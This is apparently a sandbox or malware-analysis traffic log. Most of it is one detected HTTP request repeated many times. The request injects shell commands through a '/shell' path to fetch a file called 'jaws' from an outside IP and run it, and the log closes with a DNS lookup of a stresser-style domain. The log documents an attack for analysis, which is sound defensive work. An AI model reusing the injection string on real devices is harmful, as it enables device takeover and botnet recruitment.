Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

